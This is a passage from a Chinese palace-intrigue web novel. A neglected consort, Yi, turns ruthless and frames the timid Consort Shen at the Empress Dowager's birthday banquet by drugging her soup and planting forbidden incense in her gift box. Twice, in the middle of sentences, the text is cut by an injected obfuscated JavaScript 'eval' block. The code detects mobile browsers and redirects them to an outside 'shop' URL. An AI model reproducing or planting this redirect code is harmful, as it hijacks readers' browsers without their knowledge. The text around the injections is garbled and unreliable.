懿妃看着跪在地上的怡答应,脸上的笑意慢慢散去,缓缓道:“你应该知道,本宫素来不喜欢掺和后宫的纷争,也从来不拉帮结派。你是太后娘娘的人,有太后娘娘给你撑腰,何必来求本宫?” “娘娘明鉴。”怡答应连忙道,“太后娘娘只是给了嫔妾一个名分,却护不了嫔妾周全。皇后娘娘处处刁难,宸贵妃娘娘瞧不上嫔妾,后宫里人人都能欺负嫔妾,嫔妾看似风光,实则孤立无援,走投无路。嫔妾知道,娘娘是这后宫里最宽厚、最睿智的人,也只有娘娘,能给嫔妾一条活路。” 她顿了顿,抬眼看向懿妃,语气里带着十足的诚意:“嫔妾知道娘娘的顾虑,嫔妾在这里跟娘娘保证,入了娘娘的阵营,嫔妾就只听娘娘一个人的话。太后娘娘那边有什么动静,嫔妾会第一时间禀报娘娘;后宫里有什么风吹草动,嫔妾也会一字不落的告诉娘娘。嫔妾绝不是两面三刀的人,娘娘若是不信,大可考验嫔妾,嫔妾若是有半分二心,任凭娘娘处置。” 这番话,说得掏心掏肺,既表明了自己的价值,也给了懿妃十足的诚意。 懿妃看着她,沉默了许久。她早就注意到了怡答应的处境,也早就动了收她的心思。怡答应是太后的人,收了她,就等于能第一时间知道太后的心思,在和皇后、宸贵妃的博弈里,多了一张王牌;怡答应容貌出众,聪慧沉稳,若是得了皇上的青睐,也能壮大她的阵营,分走皇后和宸贵妃的圣宠,何乐而不为? 之前她没有主动出手,只是在等,等怡答应彻底断了投靠林清芷的念头,等她走投无路,主动来投。只有这样,她才能彻底收服这个女人的心,让她死心塌地地跟着自己。 现在,时机到了。 懿妃缓缓起身,走到怡答应面前,弯腰扶起了她,语气温和却带着十足的分量:“好,既然你有这份心,本宫就收下你。往后,你就是本宫的人了,有本宫在,这后宫里,没人敢再欺负你。本宫护着你,给你安身立命的地方,你只要记住,一心一意跟着本宫,本宫绝不会亏待你。” 怡答应听到她答应了,瞬间红了眼眶,再次跪了下去,对着懿妃重重磕了三个响头,声音带着哽咽:“谢娘娘!谢娘娘恩典!嫔妾这条命,以后就是娘娘的了!娘娘让嫔妾做什么,嫔妾就做什么,绝无半分二心!” “起来吧。”懿妃再次扶起她,拍了拍她的手,笑着道,“往后不用这么多礼,在本宫这里,安心就好。” 站在一旁的惜常在看着这一幕,眼底闪过一丝不易察觉的嫉妒,却也连忙上前,对着怡答应笑着道:“恭喜妹妹,往后咱们就是一家人了,一起伺候娘娘,互相照应。” 怡答应连忙回礼:“往后还要请姐姐多多指点。” 当日下午,怡答应正式入懿妃阵营的消息,就传遍了整个后宫。 永寿宫里,皇后听到消息,嗤笑一声:“懿妃倒是会捡漏,收了个太后不要的棋子,真当自己能坐收渔利不成?一个伎人出身的贱婢,就算有太后撑腰,也翻不起什么大浪。” 咸福宫里,宸贵妃听到消息,满脸不屑:“愉常在不肯要的东西,懿妃倒是当成了宝。一个太后的眼线,也敢往自己阵营里拉,我看她是疯了,早晚被这贱婢反咬一口。” 承乾宫东偏殿里,林清芷听到消息,脸上没有半分意外,只是淡淡一笑。 清禾忍不住道:“主子,她真的投了懿妃娘娘了。您说,她会不会记恨您三次拒绝她,往后给咱们使绊子啊?” “不会。”林清芷摇了摇头,“她是个聪明人,知道我拒绝她,不是针对她,是立场使然。她入了懿妃的阵营,有了靠山,只会安分守己地站稳脚跟,不会来招惹我们。” 她走到窗边,看着远处的景阳宫,眼底闪过一丝深意。 怡答应入了懿妃阵营,后宫原本三足鼎立的格局,彻底被打破了。皇后党、宸贵妃党、懿妃党,三方势力,终于势均力敌。 往后的后宫,只会更热闹了。 这深宫的路再长,风浪再大,她心里的光,永远不会灭。 永熙元年五月初,暮春细雨连绵,将紫禁城的红墙洗得愈发深沉。 怡答应令氏居于钟粹宫东偏殿已近一月,自归入懿妃阵营后,日子总算不再是四面楚歌。皇后碍于懿妃情面,不再明目张胆克扣份例;咸福宫的宫人见她有了靠山,也不敢随意冲撞;就连时常刁难她的恬贵人,也收敛了几分气焰。 在外人看来,她已是苦尽甘来,得太后名分庇护,又有懿妃撑腰,容貌出众,性情温婉,只需静待时机,便能在后宫站稳脚跟。 可只有令氏自己知道,她的心,早已在一次次冷遇与践踏中,慢慢冷了,硬了,黑了。 夜深人静,钟粹宫东偏殿只点一盏孤灯,雨丝敲窗,沙沙作响。令氏独坐镜前,卸下素银簪子,散开一头乌黑长发。铜镜里映出她那张极美的脸,眉弯目秀,肤白胜雪,可眼底却没有半分暖意,只有一片深不见底的寒寂。 她伸出手,轻轻抚过镜中自己的眉眼,指尖冰凉。 她从不是天生温顺,也不是生来卑微。 三年前,她以江南乐伎身份入宫,不是为了荣华富贵,只是为了给病重的母亲求一副药。她以为只要安分守己、勤恳做事,便能换得一线生机,可入宫才知,底层伎人连蝼蚁都不如。挨打受骂是常事,冻饿欺凌是日常,她在最肮脏、最阴暗的角落里,熬了整整三年。 是太后偶然听见她抚琴,觉得她性子沉静、容貌出众,才将她调到身边,做了近身伎人。她以为终于熬出了头,对太后感恩戴德,日夜伺候,不敢有半分差池。太后说什么,她便做什么;太后让她学规矩,她便日夜苦练;太后让她藏起锋芒,她便三年不露半分才气。 她以为,真心能换真心。 可万寿节后,太后一句轻飘飘的“送与皇上”,便将她推入了这更深的深渊。她没有选择,没有退路,如同一件物品,被随意转送,连问一句“为什么”的资格都没有。 封答应,赐封号“怡”,居钟粹宫东偏殿。 听起来风光无限,可只有她自己清楚,她自始至终,都是太后手里一枚无足轻重、用完即弃的棋子。太后要她盯着后宫,盯着皇后与宸贵妃,却从未给过她真正的庇护;太后要她安分守己,却从不管她在后宫被人欺辱、被人践踏。 她曾以为,愉常在林清芷是这深宫里唯一清醒、唯一可靠之人。 她见过林清芷如何在亲蚕礼上化险为夷,见过她如何在百日祭上不卑不亢,见过她如何护着慎答应,如何在各方势力间从容游走。她觉得,她们是同类——都是在深宫里挣扎求生、不愿任人摆布的女子。 所以她放下所有骄傲,三次低头,三次投诚。 第一次,她携江南新茶前往承乾宫,掏心掏肺,只求一个安身之处,却被林清芷客客气气、却彻彻底底地拒之门外。 第二次,她在御花园抚琴相候,发下毒誓,表明心迹,只求林清芷能信她一次,可林清芷依旧摇头,语气冷得像冰:“你我之间,隔着太后,永远不可能同行。” 第三次,她被恬贵人当众羞辱,狼狈不堪,林清芷出手相救,却也只是举手之劳,再一次将她所有期盼碾碎:“对不起,我帮不了你。” 三次机会,三次彻底的拒绝。 那一刻,她站在空旷的宫道上,看着林清芷决绝不回头的背影,浑身冰冷,如同被推入冰窖。 她终于明白——这后宫里,从来没有什么同类相惜,从来没有什么真心换真心。所有人都在权衡利弊,所有人都在明哲保身。 林清芷不是看不懂她的诚意,而是不屑,是忌惮,是觉得她这枚棋子太烫手,会连累自己安稳度日。 在愉常在眼里,她令氏,不过是一个出身卑贱、随时可能引火烧身的麻烦。 连一丝一毫的怜悯,都不肯给。 连一次试一试的机会,都吝啬给予。 那份被她小心翼翼捧出来的真心,被人轻轻一拂,便摔在地上,碎得彻底。 寒心之后,是蚀骨的恨意。 她恨皇后的刻薄狠辣,恨宸贵妃的高傲轻蔑,恨恬贵人的仗势欺人,恨太后的利用抛弃,可她最恨的,还是愉常在林清芷。 恨她的清醒通透,恨她的冷漠无情,恨她明明有能力伸手拉一把,却偏偏袖手旁观,站在岸上,冷眼旁观她在泥沼里挣扎、窒息、绝望。 林清芷那一句句“我帮不了你”“你我立场不同”,如同最锋利的针,日日夜夜扎在她心上,扎得她血肉模糊,也扎得她彻底醒悟。 温顺换不来尊重,诚恳换不来庇护,安分守己,只会任人宰割。 想要活下去,想要不被人践踏,想要在这深宫里站稳脚跟,只有一条路——狠。 心要狠,手段要狠,野心要狠。 从三次被拒的那一日起,那个温婉柔顺、心存善念的令氏,就已经死了。 死在宫道的冷雨里,死在林清芷决绝的背影里,死在这后宫无尽的冷漠与践踏里。 活着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17344800|199488||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的,是从此只为自己谋算、心藏锋芒、隐忍待发的怡答应。 归入懿妃阵营,并非她的真心选择,只是走投无路后的权宜之计。 她清楚,懿妃也不是真心待她。 懿妃要的,是她“太后身边人”的身份,是她能探听到的慈宁宫动静,是她这张能吸引皇上的脸。懿妃给她庇护,不过是一场交易——我护你活命,你为我所用。 这场交易,冰冷、现实、毫无温情,却恰恰是她如今最需要的。 她不再像从前那样,对懿妃掏心掏肺,而是学会了伪装、逢迎、藏拙。 懿妃让她安分,她便日日待在钟粹宫,抄经、抚琴、不出风头,让所有人都以为她依旧是那个胆小怯懦、毫无野心的伎人。 懿妃让她留意太后动静,她便挑些无关痛痒的消息回禀,既显得忠心,又不彻底背叛太后,为自己留一条后路。 懿妃让她伺机争宠,她便故意收敛容貌,穿着最朴素的衣物,在皇上面前低眉顺眼,不抢不夺,让皇后、宸贵妃、愉常在都放松警惕。 她像一条潜伏在暗处的蛇,收敛所有气息,静静蛰伏,等待最佳的出击时机。 白日里,她依旧是那个温婉安静、人畜无害的怡答应。 见到皇后,她恭恭敬敬,谦卑顺从,让皇后觉得她翻不起大浪; 见到宸贵妃,她低眉垂眼,不敢仰视,让宸贵妃更加轻视她的出身; 见到愉常在,她神色平静,行礼如仪,语气谦和,仿佛从前那些期盼与失落从未存在过,让林清芷真的以为,她已放下心结,安分度日。 只有在深夜无人之时,她才会卸下所有伪装,露出眼底深藏的阴鸷与狠厉。 她坐在孤灯下,一遍遍抚摸着自己纤细却冰凉的手指,心里一遍遍盘算。 她要位份,要恩宠,要权力,要让所有轻视她、践踏她、抛弃她、拒绝她的人,都付出代价。 她要让太后知道,她不是任人摆布的棋子; 她要让皇后知道,她不是随意可以欺辱的蝼蚁; 她要让宸贵妃知道,出身从不能决定一生; 她更要让愉常在林清芷知道——你今日不屑一顾的人,他日定会让你高攀不起。 你不肯拉我出泥沼,那我便亲手爬出来,再把你一起拖下来。 你想安稳度日,明哲保身,我偏要搅乱这后宫一池水,让所有人都不得安宁。 黑化的念头,如同藤蔓,在心底疯狂滋长,缠绕五脏六腑,一点点吞噬掉最后一丝温情与柔软。 她开始暗中观察后宫所有人的弱点。 皇后善妒,却耳根软,容易被挑拨; 宸贵妃强势,却粗心大意,容易被算计; 恬贵人鲁莽,心胸狭隘,一点刺激便会失控; 惜常在胆小,嫉妒心强,早已对她心存不满; 而愉常在林清芷,看似无懈可击,却有两个致命弱点——重情义,护着慎答应与恪贵人,不愿轻易卷入纷争。 只要抓住慎答应或是恪贵人,便能牵制林清芷。 只要挑起各方争斗,便能浑水摸鱼。 她开始不动声色地布局。 借着给懿妃回话的机会,她故意将皇后克扣份例的小事添油加醋,挑起懿妃对皇后的不满; 借着在御花园偶遇的机会,她故意在恬贵人面前提起“愉常在深得皇上信任”,刺激恬贵人将矛头对准林清芷; 借着给太后请安的机会,她故意说“宸贵妃近日时常陪伴皇上”,让太后对宸贵妃多加留意; 她从不亲自出手,只在暗处轻轻一推,便让各方势力互相猜忌、互相攻击,而她始终站在局外,一身干净,无人怀疑。 她甚至开始刻意接近慎答应。 从前她对慎答应,只是客气疏离,如今却时常带着亲手做的小点心前往储秀宫,语气温柔,态度谦和,一口一个“慎答应妹妹”,哄得慎答应渐渐放下戒心。 她知道,慎答应是林清芷最护着的人,拿下慎答应,便是握住了刺向林清芷的第一把刀。 而面对林清芷时,她依旧笑得温和无害,行礼、问好、规规矩矩,眼底一片平静,仿佛心底那些汹涌的恨意与算计,从未存在过。 林清芷每次与她擦肩而过,只觉得她愈发沉稳安分,却从未察觉,那双看似温顺的眼眸深处,早已藏满了淬毒的锋芒。 雨越下越大,敲打着窗棂,寒意透骨。 令氏缓缓从镜前起身,走到窗边,推开一条缝隙,望着远处承乾宫的方向。 夜色漆黑,承乾宫灯火微弱,如同林清芷那个人——看似安稳,看似无争,却冷漠得让人心寒。 令氏嘴角缓缓勾起一抹极淡、极冷的笑。 笑里没有温度,没有善意,只有蛰伏已久的狠戾与野心。 “愉常在,”她在心底轻声低语,声音轻得像雨丝,却冷得像冰,“你等着。这深宫之路,我不会再求任何人庇护。你不肯给我一条活路,那我便自己杀出一条血路。” “今日你冷眼旁观,他日,我定让你悔不当初。” “这后宫里,温顺者死,狠厉者生。从今往后,我令氏,再不做任人宰割之辈。” “谁挡我的路,谁欺我的身,谁负我的心,我便——一个都不放过。” 话音落,她关上窗,将所有风雨与寒意隔绝在外。 15. 令氏陷害,许氏禁足 永熙元年六月初十,仁宪太后生辰。 先帝驾崩未满一年,国丧期未过,寿辰并未大操大办,只在慈宁宫设了一场小型家宴,宴请宗室近支与后宫妃嫔。无丝竹宴饮,无奢华陈设,连席面都是清一色的素斋,只借着寿辰的由头,为先帝追福,为太后祈寿,处处守着国丧规制,半点不敢逾矩。 可即便如此,后宫众人也不敢有半分怠慢。太后是后宫唯一的定盘星,一句话便能决定妃嫔的生死荣辱,谁都想借着这次寿辰,在太后面前刷足好感,搏一个贤德懂事的名声。 而这场寿宴,也成了怡答应令氏筹谋了整整一月的局。 自归入懿妃阵营,三次投诚被林清芷拒绝后,令氏便彻底收敛起了心底的柔软与期盼,日日戴着温婉柔顺的面具,在后宫里步步为营。她心里清楚,想要扳倒那个冷眼旁观她坠入泥沼的愉常在,第一步,便是先斩断她的左膀右臂——那个对林清芷死心塌地、被她护在羽翼下的慎答应许氏。 慎答应性子怯懦,胆小怕事,没什么城府,更没什么心机,是后宫里最好拿捏的人。更重要的是,她自侍寝得宠后,始终把林清芷当成唯一的依靠,事事都听林清芷的安排,是林清芷最信任的人。 只要扳倒了慎答应,不仅能给林清芷一个狠狠的教训,还能让宸贵妃阵营折损一员,更能在懿妃面前立下功劳,一举三得。 为了这个局,令氏足足演了一个月。 这一个月里,她几乎日日往储秀宫东偏殿跑。今日带一碟亲手做的素点心,明日送一方自己绣的素帕,见了慎答应,永远是温温柔柔的笑意,一口一个“慎答应妹妹”,语气温和,态度谦卑,半点架子都没有。 她知道慎答应胆小,便处处顺着她的心意说话,慎答应说怕皇后刁难,她便跟着叹气,说自己也时常受委屈,同病相怜的话,句句都说到慎答应心坎里;慎答应说自己没读过什么书,字写得不好,她便耐着性子,一笔一划地教她写字,半点不耐烦都没有;慎答应夜里做噩梦睡不着,她便连夜抄了安神的经文给她送过去,比亲姐妹还要贴心。 慎答应自入宫以来,除了林清芷,从未有人对她这般好过。林清芷虽护着她,却也时常严厉地教她规矩,提醒她后宫险恶,可怡答应不一样,她永远是温柔的、包容的、顺着她的,像冬日里的暖阳,一点点捂热了她那颗惶恐不安的心。 不过一月,慎答应便彻底放下了戒心,把怡答应当成了自己在后宫里最好的闺蜜,什么心里话都跟她说。小到宫里的太监宫女偷懒耍滑,大到林清芷教她的后宫生存之道,甚至连给太后准备的生辰寿礼,她都毫无保留地告诉了怡答应,连寿礼藏在哪里,都带着她去看了。 “姐姐你看,这是我听了愉常在姐姐的话,亲手抄的一百卷《心经》,给太后娘娘祈福用的。还有这方素帕,我绣了半个月,素面无纹,只在边角绣了个小小的‘寿’字,用的同色线,不仔细看根本看不出来,绝对不违制。”慎答应捧着紫檀木匣子,献宝似的给怡答应看,眼里满是期待与忐忑,“就是不知道,太后娘娘会不会喜欢。” 怡答应凑过去,仔仔细细地翻看着经文,嘴里不住地夸赞:“妹妹的字比上个月好看多了,一笔一划都透着诚心,太后娘娘信佛,见了你这一百卷经文,定然会高兴的。还有这方帕子,妹妹的手真巧,绣得这么细致,太后娘娘用着也舒心。” 她嘴上夸着,眼底却闪过一丝阴鸷的冷光。她要的,就是慎答应这份毫无保留的信任,就是这匣子经文,这方帕子,还有慎答应这胆小易慌的性子。 完美的猎物,已经自己走进了陷阱里。 她合上匣子,笑着拍了拍慎答应的手,语气温柔地安抚:“妹妹放心,你的寿礼这么用心,太后娘娘定然会喜欢的。只是寿宴那天人多眼杂,妹妹性子软,又容易紧张,到时候可千万要稳住,别慌了手脚,不然反倒落了旁人的话柄。” 慎答应闻言,果然瞬间紧张起来,手指紧紧攥着帕子,小声道:“我也怕……我一见到太后娘娘和皇上,就腿软,万一到时候出了差错,可怎么办啊?” “别怕,有我呢。”怡答应笑得温柔,眼底却毫无暖意,“到时候我就坐在你旁边,你要是紧张了,就看看我,我给你递眼色,保准不会出问题。再说了,还有愉常在姐姐在,谁敢给你气受?” 慎答应瞬间安下心来,抓着她的手,感激涕零:“姐姐,你真好。除了愉常在姐姐,就只有你对我这么好了。我真的太幸运了,能遇到你。” 怡答应笑着回握住她的手,指尖冰凉,心里却冷笑不止。 幸运?很快,你就会知道,你遇到的不是暖阳,是索命的恶鬼。 寿宴前一日,傍晚时分,怡答应又去了储秀宫,手里提着一个食盒,里面是她亲手炖的莲子百合羹。 “妹妹,明日就要寿宴了,我知道你肯定紧张得睡不着,特意给你炖了莲子羹,安神定惊的,你喝了,今晚能睡个好觉,明日才有精神。”她把羹汤端到慎答应面前,笑得温柔,“我特意没放糖,只加了一点点蜂蜜,没有半点甜腻之气,也不违制,你放心喝。” 慎答应感动得眼眶都红了,接过碗,一口一口地喝了下去,只觉得羹汤温润清甜,滑入腹中,浑身都暖融融的,心里的紧张也散了不少。 她不知道的是,这碗莲子羹里,除了莲子百合,还加了一味极其微量的草药——麻黄。剂量极小,绝不会伤身,更不会被人查出来,却能让人心跳加速,手脚发颤,在极度紧张的状态下,会瞬间失控,连自己都控制不住。 这味药,是她借着给懿妃娘娘寻安神草药的由头,从太医院悄悄讨来的,无人知晓。 看着慎答应把整碗莲子羹喝得干干净净,怡答应嘴角的笑意更深了。 第一步,成了。 当晚,趁着夜色,怡答应又借着给慎答应送安神香包的由头,再一次去了储秀宫。慎答应喝了莲子羹,已经睡下了,宫女见是她,也没多防备,只引着她在偏厅坐了坐。 就是这片刻的功夫,她借着整理桌上的寿礼匣子,指尖微动,将一块指甲盖大小的安息香膏,悄无声息地塞进了紫檀木匣的夹层缝隙里。 香膏是她从慈宁宫带出来的,味道极淡,平日里封在蜡丸里,半点气息都不会泄露,只有打开匣子,凑近了闻,才能闻到一丝若有似无的香气。 国丧百日已过,可先帝驾崩未满一年,后宫依旧禁用一切香饰香料,但凡私藏香膏,便是对先帝大不敬,轻则禁足罚俸,重则打入冷宫。 这是她给慎答应准备的,第二重杀招。 做完这一切,她悄无声息地离开了储秀宫,没有惊动任何人。夜色里,她走在空旷的宫道上,晚风吹起她的衣摆,她抬头看向漆黑的夜空,嘴角勾起一抹冰冷的笑。 慎答应,别怪我心狠。要怪,就怪你跟错了人,怪那个愉常在,不肯拉我一把。 你是她护着的人,那我便先拿你开刀。 六月初十,慈宁宫寿宴如期而至。 辰时刚过,后宫妃嫔便按位份依次到了慈宁宫,清一色的素色常服,无钗环艳饰,规规矩矩地按位份落座。上首主位是太后,左侧是皇上,右侧是皇后,下方泾渭分明,宸贵妃、贤嫔、恪贵人、愉常在、慎答应坐于左侧,懿妃、淑嫔、恬贵人、怡答应、惜常在坐于右侧。 林清芷坐在慎答应身侧,见她脸色发白,手指紧紧攥着帕子,浑身都在微微发抖,不由得低声安抚:“别怕,放轻松,就按我之前教你的,规规矩矩行礼献礼,不出错就好,有我在。” 慎答应连忙点了点头,看向林清芷,眼里满是依赖,可心跳却越来越快,手也抖得厉害,连端茶杯的力气都没有。她只当是自己太紧张了,丝毫没察觉,是昨日那碗莲子羹里的药,正在慢慢发作。 坐在对面的怡答应,将这一切尽收眼底,嘴角勾起一抹不易察觉的笑意。她对着慎答应,温柔地眨了眨眼,递了个安抚的眼神,实则是在给她心理暗示,让她愈发紧张。 很快,太后在宫女的搀扶下走了出来,皇上与皇后连忙起身相迎,众人齐齐跪下请安,山呼太后福寿安康。太后笑着让众人起身,说了几句场面话,寿宴便正式开始了。 先是宗室亲王依次上前献礼祝寿,而后是后宫妃嫔,按位份高低,依次上前献礼。皇后、宸贵妃、懿妃、贤嫔……一个个依次上前,寿礼皆合规制,以祈福经文、素色摆件为主,太后一一笑着收下,气氛平和。 很快,便轮到了慎答应。 “储秀宫慎答应许氏,为太后娘娘献礼——”司仪官高声唱喏。 慎答应猛地站起身,腿一软,差点摔在地上,幸好林清芷在一旁扶了她一把,低声道:“稳住,别慌。” 慎答应深吸一口气,捧着紫檀木匣子,一步步走到殿中,跪在地上,双手将匣子举过头顶,声音带着无法控制的颤抖:“嫔妾……嫔妾恭祝太后娘娘,福寿绵长,松鹤长春。嫔妾无甚好礼,只亲手抄录了百卷《心经》,为太后娘娘祈福,为先帝追福,求太后娘娘笑纳。” 太后看着她抖得像秋风里的落叶一样,眉头微微皱了皱,却也没说什么,只是示意身边的掌事嬷嬷接过匣子。 嬷嬷上前接过匣子,打开来,正要呈给太后看,鼻尖却突然闻到了一丝若有似无的香气。她脸色瞬间一变,立刻低头,在匣子里仔仔细细地翻找起来,很快便从夹层缝隙里,抠出了那一小块安息香膏。 “太后娘娘!您看!”嬷嬷捧着香膏,脸色凝重地跪了下来,“这匣子夹层里,藏了一块安息香膏!国丧期内,禁用一切香饰,这是对先帝大不敬啊!” 这句话,像一颗炸雷,在寂静的慈宁宫正殿里轰然炸开。 所有人的目光,瞬间齐刷刷地落在了跪在地上的慎答应身上,有震惊,有看戏,有幸灾乐祸。 慎答应瞬间懵了,脸色惨白如纸,浑身抖得像筛糠一样,连连摇头,声音都破了音:“不……不是我!我没有!太后娘娘!嫔妾根本不知道这香膏是哪里来的!嫔妾绝不敢私藏香膏,更不敢对先帝大不敬啊!求太后娘娘明察!” “明察?”皇后沈氏立刻抓住了机会,一拍桌案,厉声呵斥,“慎答应!人证物证俱在,香膏是从你的寿礼匣子里搜出来的,不是你的是谁的?你好大的胆子!先帝驾崩未满一年,你竟敢私藏香膏,在太后寿宴上,在先帝的追福礼上,做出此等大逆不道之事!你眼里还有先帝,还有太后,还有宫规礼法吗?!” “不是我!真的不是我!”慎答应吓得魂飞魄散,眼泪止不住地往下掉,拼命地磕头,额头都磕出了血印,“皇后娘娘!太后娘娘!嫔妾真的是被冤枉的!这匣子我一直锁在柜子里,从来没给过别人, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17344801|199488||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 怎么会有香膏啊!求你们明察!” 宸贵妃安氏坐在席上,眉头紧紧皱起,想开口求情,却又无从下口。人证物证俱在,香膏确实是从慎答应的匣子里搜出来的,她若是强行求情,只会落得个包庇纵容的罪名,反倒把自己也搭进去。 恪贵人金氏垂着眼,眼底闪过一丝疑虑,却也没开口。这种时候,多说多错,只会引火烧身。 林清芷坐在席上,指尖紧紧攥着,心脏猛地一沉。她太了解慎答应了,这个姑娘胆小如鼠,连大声说话都不敢,给她一百个胆子,也绝不敢在国丧期私藏香膏,更不敢把香膏放在给太后的寿礼里。 这绝对是栽赃陷害。 她抬眼看向对面的怡答应,只见怡答应脸上满是焦急与担忧,正看着跪在地上的慎答应,一副感同身受的样子,没有半分破绽。林清芷的心里,瞬间咯噔一下。 这段时间,怡答应天天往储秀宫跑,和慎答应形影不离,除了她,没人有机会接触到慎答应的寿礼匣子。 可她没有证据。 就在这时,怡答应突然起身,快步走到殿中,跪在慎答应身边,对着太后重重磕了个头,声音带着哽咽,语气温柔却急切:“太后娘娘!求您开恩!慎答应妹妹素来胆小怯懦,安分守己,绝不敢做出此等违制大不敬之事!定是她一时糊涂,或是被人蒙骗了,求太后娘娘看在她年纪小,又是初犯的份上,饶了她这一次吧!” 她看似在求情,可句句都在坐实“慎答应做了这件事”,只是“一时糊涂”,而非被人陷害。 慎答应看着跪在身边的怡答应,还以为她是真心帮自己,哭得更厉害了,抓着她的胳膊道:“姐姐!你帮我跟太后娘娘说!我真的是被冤枉的!我没有!” 怡答应拍了拍她的手,对着她摇了摇头,又转头对着太后道:“太后娘娘,慎答应妹妹已经知道错了,她也不是故意的,求您从轻发落!” 太后坐在上首,脸色阴沉,看着跪在地上哭得上气不接下气的慎答应,又看了看那枚香膏,眼底满是怒意。国丧期违制,本就是大忌,更何况是在她的寿宴上,不仅是对先帝不敬,更是打她的脸。 可她也清楚,慎答应胆子极小,未必有这个胆子做这种事。但事已至此,没有任何证据证明她是被陷害的,人证物证俱在,若是不罚,往后宫规便形同虚设。 良久,太后才缓缓开口,声音冰冷,带着不容置疑的威严:“慎答应许氏,国丧期内私藏香膏,违制失仪,对先帝大不敬,本应重罚。念其位份低微,心性愚钝,从轻发落——禁足储秀宫东偏殿一月,罚抄《女诫》《内训》各百遍,每日在殿内为先帝祈福,好好反省!” “太后娘娘!”慎答应瞬间瘫软在地上,还想辩解,却被太监捂住了嘴,拖了下去。 怡答应对着太后再次磕了个头,哽咽道:“谢太后娘娘开恩。” 她低着头,嘴角却勾起了一抹无人察觉的、胜利的笑意。 第一步,成了。 完美无缺,天衣无缝。没有任何人怀疑到她头上,所有人都只当她是重情重义,为好友求情,连慎答应自己,都还觉得她是真心帮自己。 林清芷看着怡答应那副情真意切的样子,指尖深深掐进了掌心,眼底闪过一丝冷意。 她几乎可以肯定,这件事,就是怡答应做的。可她没有任何证据,怡答应做得太干净了,没有留下任何蛛丝马迹。 寿宴因为这场插曲,草草结束。众人依次告退,离开了慈宁宫。 一出慈宁宫,怡答应就快步跑到了储秀宫门口,哭着让守门太监开门,要进去看看慎答应,被太监以“皇后娘娘有令,禁足期间任何人不得探视”拦在了门外。她站在宫门口,哭了好半天,才依依不舍地离开,演得情真意切,连路过的宫人都忍不住感叹,怡答应真是重情重义。 而她回到景阳宫,关上殿门的那一刻,脸上的泪水瞬间散去,只剩下冰冷的笑意。 她走到镜前,看着镜中自己依旧温婉的眉眼,指尖轻轻抚过镜沿,在心底轻声道:“愉常在,这只是个开始。你护着的人,我轻轻松松就能毁掉。你不肯给我的,我会自己一点一点抢过来。” “下一个,就该轮到你了。” 与此同时,承乾宫东偏殿里,清禾看着脸色冰冷的林清芷,忍不住道:“主子,这件事肯定是怡答应做的!除了她,没人有机会接触慎答应娘娘的寿礼!咱们就这么算了吗?” 林清芷坐在窗边,指尖轻轻敲着桌面,眼底一片清明,却也带着一丝无力。 “算了?自然不能算了。”她缓缓开口,声音冰冷,“只是我们现在没有证据,就算闹到太后和皇上面前,也扳不倒她,反倒会落得个诬陷的罪名,还会连累慎答应。” 她太清楚怡答应的手段了,心思缜密,步步为营,做得滴水不漏,连一点把柄都没留下。这次的事,不仅让慎答应被禁足,还让怡答应落了个重情重义的好名声,一箭双雕,手段狠辣又高明。 “从今天起,盯紧怡答应,她的一举一动,都要一字不落地报给我。”林清芷抬眼看向窗外,景阳宫的方向,眼底闪过一丝坚定的冷光,“她既然敢出手,就总会露出马脚。我倒要看看,她这副温婉的面具,能戴到什么时候。” 她知道,从这一刻起,她和怡答应之间,再也没有任何转圜的余地。 16. 暗中投信,令氏有孕 永熙元年六月下旬,慎答应被禁足储秀宫已有半月。 储秀宫东偏殿的朱红宫门被两把铜锁牢牢锁住,门外守着皇后派来的两个太监,日夜盯守,除了每日送水送饭的宫女,任何人不得入内,也不许殿内的人传出半句话。殿内陈设简陋,光线昏暗,连夏日的风都透不进几分,只有墙角的烛火日夜燃着,映着慎答应许氏日渐消瘦的脸。 禁足的前几日,她还沉浸在委屈与惶恐里,日日以泪洗面,只当自己是运气不好被人栽赃,甚至还在感念怡答应在寿宴上为她跪地求情,盼着怡答应能常来看看她,帮她在皇上和太后面前多说几句好话。 可日子一天天过去,怡答应别说来看她,连半点音讯都没有。倒是每日送饭的老宫人,是她潜邸时就跟着的老人,心向着她,趁着送饭的功夫,断断续续给她递了些外面的消息。 “主子,怡答应如今可风光了,前几日去养心殿为您求情,被皇上夸了重情重义,赏了一套御用的文房四宝,这几日皇上时常召她去养心殿说话,连懿妃娘娘都对她另眼相看了。” “主子,外面都在传,说您是自己糊涂犯了错,全靠怡答应念着姐妹情分,才求着太后从轻发落,不然您早就被打入冷宫了。” “主子,怡答应从来没在宫门口停留过,更别说求见您了,连给您送点东西都没有过……” 一句句话,像一根根冰冷的针,扎进慎答应的心里,也一点点扎醒了她浑浑噩噩的脑子。 她坐在冰冷的床榻上,一夜未眠,把寿宴前后的所有事,从头到尾,仔仔细细地复盘了一遍。 为什么怡答应会突然对她好,日日往储秀宫跑,比亲姐妹还要贴心? 为什么怡答应非要盯着她的寿礼匣子看,连她藏在哪里都要问得清清楚楚? 为什么寿宴前一晚,怡答应非要给她炖那碗莲子羹,她喝完之后,第二天心跳得飞快,手也抖得控制不住,连话都说不连贯? 为什么寿宴上,怡答应看似为她求情,却句句都坐实了她“犯了错”,绝口不提“被人陷害”? 为什么她被禁足之后,怡答应借着为她求情的由头,得了皇上的青睐,平步青云,而她却成了阶下囚? 所有的疑点,所有的不对劲,在这一刻终于串成了一条线。 